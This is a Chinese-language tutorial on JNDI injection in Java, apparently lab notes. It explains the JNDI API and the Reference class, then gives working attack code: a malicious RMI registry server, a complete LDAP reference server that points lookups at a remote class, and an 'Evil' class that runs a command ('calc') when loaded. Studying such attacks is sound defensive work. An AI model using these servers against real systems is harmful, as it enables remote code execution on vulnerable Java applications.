JNDI注入2

概述

JNDI(Java Naming and Directory Interface,Java命名和目录接口)是SUN公司提供的一种标准的Java命名系统接口,JNDI提供统一的客户端API,通过不同的访问提供者接口JNDI服务供应接口(SPI)的实现,由管理者将JNDI API映射为特定的命名服务和目录系统,使得Java应用程序可以和这些命名服务和目录服务之间进行交互。目录服务是命名服务的一种自然扩展。

JNDI(Java Naming and Directory Interface)是一个应用程序设计的API,为开发人员提供了查找和访问各种命名和目录服务的通用、统一的接口,类似JDBC都是构建在抽象层上。现在JNDI已经成为J2EE的标准之一,所有的J2EE容器都必须提供一个JNDI的服务。

JNDI可访问的现有的目录及服务有:
DNS、XNam 、Novell目录服务、LDAP(Lightweight Directory Access Protocol轻型目录访问协议)、 CORBA对象服务、文件系统、Windows XP/2000/NT/Me/9x的注册表、RMI、DSML v1&v2、NIS。

以上是一段百度wiki的描述。简单点来说就相当于一个索引库,一个命名服务将对象和名称联系在了一起,并且可以通过它们指定的名称找到相应的对象。从网上文章里面查询到该作用是可以实现动态加载数据库配置文件,从而保持数据库代码不变动等。

JNDI结构

在Java JDK里面提供了5个包,提供给JNDI的功能实现,分别是:

  1. javax.naming:主要用于命名操作,它包含了命名服务的类和接口,该包定义了Context接口和InitialContext类;
  2. javax.naming.directory:主要用于目录操作,它定义了DirContext接口和InitialDir- Context类;
  3. javax.naming.event:在命名目录服务器中请求事件通知;
  4. javax.naming.ldap:提供LDAP支持;
  5. javax.naming.spi:允许动态插入不同实现,为不同命名目录服务供应商的开发人员提供开发和实现的途径,以便应用程序通过JNDI可以访问相关服务。

前置知识

InitialContext类#

构造方法:#

  1. InitialContext()
  2. 构建一个初始上下文。
  3. InitialContext(boolean lazy)
  4. 构造一个初始上下文,并选择不初始化它。
  5. InitialContext(Hashtable<?,?> environment)
  6. 使用提供的环境构建初始上下文。

代码:

  1. InitialContext initialContext = new InitialContext();
  2. 复制

在这JDK里面给的解释是构建初始上下文,其实通俗点来讲就是获取初始目录环境。

常用方法:#

  1. bind(Name name, Object obj)
  2. 将名称绑定到对象。
  3. list(String name)
  4. 枚举在命名上下文中绑定的名称以及绑定到它们的对象的类名。
  5. lookup(String name)
  6. 检索命名对象。
  7. rebind(String name, Object obj)
  8. 将名称绑定到对象,覆盖任何现有绑定。
  9. unbind(String name)
  10. 取消绑定命名对象。

代码:

  1. package com.rmi.demo;
  2. import javax.naming.InitialContext;
  3. import javax.naming.NamingException;
  4. public class jndi {
  5. public static void main(String[] args) throws NamingException {
  6. String uri = "rmi://127.0.0.1:1099/work";
  7. InitialContext initialContext = new InitialContext();
  8. initialContext.lookup(uri);
  9. }
  10. }

Reference类#

该类也是在javax.naming的一个类,该类表示对在命名/目录系统外部找到的对象的引用。提供了JNDI中类的引用功能。

构造方法:#

  1. Reference(String className)
  2. 为类名为“className”的对象构造一个新的引用。
  3. Reference(String className, RefAddr addr)
  4. 为类名为“className”的对象和地址构造一个新引用。
  5. Reference(String className, RefAddr addr, String factory, String factoryLocation)
  6. 为类名为“className”的对象,对象工厂的类名和位置以及对象的地址构造一个新引用。
  7. Reference(String className, String factory, String factoryLocation)
  8. 为类名为“className”的对象以及对象工厂的类名和位置构造一个新引用。

代码:

  1. String url = "http://127.0.0.1:8080";
  2. Reference reference = new Reference("test", "test", url);

参数1:className - 远程加载时所使用的类名

参数2:classFactory - 加载的class中需要实例化类的名称

参数3:classFactoryLocation - 提供classes数据的地址可以是file/ftp/http协议

常用方法:#

  1. void add(int posn, RefAddr addr)
  2. 将地址添加到索引posn的地址列表中。
  3. void add(RefAddr addr)
  4. 将地址添加到地址列表的末尾。
  5. void clear()
  6. 从此引用中删除所有地址。
  7. RefAddr get(int posn)
  8. 检索索引posn上的地址。
  9. RefAddr get(String addrType)
  10. 检索地址类型为“addrType”的第一个地址。
  11. Enumeration<RefAddr> getAll()
  12. 检索本参考文献中地址的列举。
  13. String getClassName()
  14. 检索引用引用的对象的类名。
  15. String getFactoryClassLocation()
  16. 检索此引用引用的对象的工厂位置。
  17. String getFactoryClassName()
  18. 检索此引用引用对象的工厂的类名。
  19. Object remove(int posn)
  20. 从地址列表中删除索引posn上的地址。
  21. int size()
  22. 检索此引用中的地址数。
  23. String toString()
  24. 生成此引用的字符串表示形式。

代码:

  1. package com.rmi.demo;
  2. import com.sun.jndi.rmi.registry.ReferenceWrapper;
  3. import javax.naming.NamingException;
  4. import javax.naming.Reference;
  5. import java.rmi.AlreadyBoundException;
  6. import java.rmi.RemoteException;
  7. import java.rmi.registry.LocateRegistry;
  8. import java.rmi.registry.Registry;
  9. public class jndi {
  10. public static void main(String[] args) throws NamingException, RemoteException, AlreadyBoundException {
  11. String url = "http://127.0.0.1:8080";
  12. Registry registry = LocateRegistry.createRegistry(1099);
  13. Reference reference = new Reference("test", "test", url);
  14. ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
  15. registry.bind("aa",referenceWrapper);
  16. }
  17. }

这里可以看到调用完Reference后又调用了ReferenceWrapper将前面的Reference对象给传进去,这是为什么呢?

其实查看Reference就可以知道原因,查看到Reference,并没有实现Remote接口也没有继承 UnicastRemoteObject类,前面讲RMI的时候说过,需要将类注册到Registry需要实现Remote和继承UnicastRemoteObject类。这里并没有看到相关的代码,所以这里还需要调用ReferenceWrapper将他给封装一下。

JNDI注入2 - 图1

JNDI注入2 - 图2

JNDI注入攻击

客户端

  1. public class JNDIClient {
  2. public static void main(String[] argv) throws NamingException {
  3. String uri = "rmi://127.0.0.1:1099/Exploit";
  4. Context ctx = new InitialContext();//得到初始目录环境的一个引用
  5. ctx.lookup(uri);//获取指定的远程对象
  6. }
  7. }

在上面的InitialContext.lookup(uri)的这里,如果说URI可控,那么客户端就可能会被攻击。具体的原因下面再去做分析。JNDI可以使用RMI、LDAP来访问目标服务。在实际运用中也会使用到JNDI注入配合RMI等方式实现攻击。

JNDI+RMI实现攻击

服务端代码

  1. public class JNDIServer {
  2. public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
  3. Registry registry = LocateRegistry.createRegistry(1099);
  4. Reference reference = new Reference("Evil", "Evil","http://127.0.0.1:8000/");
  5. ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
  6. registry.bind("Exploit",referenceWrapper);
  7. }
  8. }

客户端

  1. public class JNDIClient {
  2. public static void main(String[] argv) throws NamingException {
  3. String uri = "rmi://127.0.0.1:1099/Exploit";
  4. Context ctx = new InitialContext();//得到初始目录环境的一个引用
  5. ctx.lookup(uri);//获取指定的远程对象
  6. }
  7. }

我的恶意类

  1. public class Evil {
  2. public Evil() {
  3. try {
  4. Runtime.getRuntime().exec("calc");
  5. } catch (Exception e) {
  6. e.printStackTrace();
  7. }
  8. }
  9. public static void main(String[] args) {
  10. }
  11. }

JNDI注入2 - 图3

然后我开启的http服务,此时环境搭建好,在低版本可以进行jndi注入。

原理其实就是把恶意的Reference类,绑定在RMI的Registry 里面,在客户端调用lookup远程获取远程类的时候,就会获取到Reference对象,获取到Reference对象后,会去寻找Reference中指定的类,如果查找不到则会在Reference中指定的远程地址去进行请求,请求到远程的类后会在本地进行执行。

JNDI注入2 - 图4

我这里用了高版本,所以执行失败了。rmi在8u113之上com.sun.jndi.rmi.object.trustURLCodebasecom.sun.jndi.cosnaming.object.trustURLCodebase

的默认值变为false。而在低版本中这几个选项默认为true,可以远程加载一些类。

JNDI注入+LDAP实现攻击

有了前面的案例后,再来看这个其实也比较简单,之所以JNDI注入会配合LDAP是因为LDAP服务的Reference远程加载Factory类不受com.sun.jndi.rmi.object.trustURLCodebasecom.sun.jndi.cosnaming.object.trustURLCodebase等属性的限制。

记得要添加依赖

  1. <dependency>
  2. <groupId>com.unboundid</groupId>
  3. <artifactId>unboundid-ldapsdk</artifactId>
  4. <version>3.1.1</version>
  5. <scope>test</scope>
  6. </dependency>

Server端

  1. import java.net.InetAddress;
  2. import java.net.MalformedURLException;
  3. import java.net.URL;
  4. import javax.net.ServerSocketFactory;
  5. import javax.net.SocketFactory;
  6. import javax.net.ssl.SSLSocketFactory;
  7. import com.unboundid.ldap.listener.InMemoryDirectoryServer;
  8. import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
  9. import com.unboundid.ldap.listener.InMemoryListenerConfig;
  10. import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
  11. import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
  12. import com.unboundid.ldap.sdk.Entry;
  13. import com.unboundid.ldap.sdk.LDAPException;
  14. import com.unboundid.ldap.sdk.LDAPResult;
  15. import com.unboundid.ldap.sdk.ResultCode;
  16. public class LDAPServer {
  17. private static final String LDAP_BASE = "dc=example,dc=com";
  18. public static void main ( String[] tmp_args ) {
  19. String[] args=new String[]{"http://127.0.0.1:8000/#Evil"};
  20. int port = 7778;
  21. try {
  22. InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
  23. config.setListenerConfigs(new InMemoryListenerConfig(
  24. "listen", //$NON-NLS-1$
  25. InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
  26. port,
  27. ServerSocketFactory.getDefault(),
  28. SocketFactory.getDefault(),
  29. (SSLSocketFactory) SSLSocketFactory.getDefault()));
  30. config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));
  31. InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
  32. System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
  33. ds.startListening();
  34. }
  35. catch ( Exception e ) {
  36. e.printStackTrace();
  37. }
  38. }
  39. private static class OperationInterceptor extends InMemoryOperationInterceptor {
  40. private URL codebase;
  41. public OperationInterceptor ( URL cb ) {
  42. this.codebase = cb;
  43. }
  44. @Override
  45. public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
  46. String base = result.getRequest().getBaseDN();
  47. Entry e = new Entry(base);
  48. try {
  49. sendResult(result, base, e);
  50. }
  51. catch ( Exception e1 ) {
  52. e1.printStackTrace();
  53. }
  54. }
  55. protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
  56. URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
  57. System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
  58. e.addAttribute("javaClassName", "foo");
  59. String cbstring = this.codebase.toString();
  60. int refPos = cbstring.indexOf('#');
  61. if ( refPos > 0 ) {
  62. cbstring = cbstring.substring(0, refPos);
  63. }
  64. e.addAttribute("javaCodeBase", cbstring);
  65. e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
  66. e.addAttribute("javaFactory", this.codebase.getRef());
  67. result.sendSearchEntry(e);
  68. result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
  69. }
  70. }
  71. }

然后Client端

  1. public class JNDIClient {
  2. public static void main(String[] argv) throws NamingException {
  3. String uri = "ldap://127.0.0.1:7778/Exploit";
  4. Context ctx = new InitialContext();
  5. ctx.lookup(uri);
  6. }
  7. }

JNDI注入2 - 图5

成功弹出计算器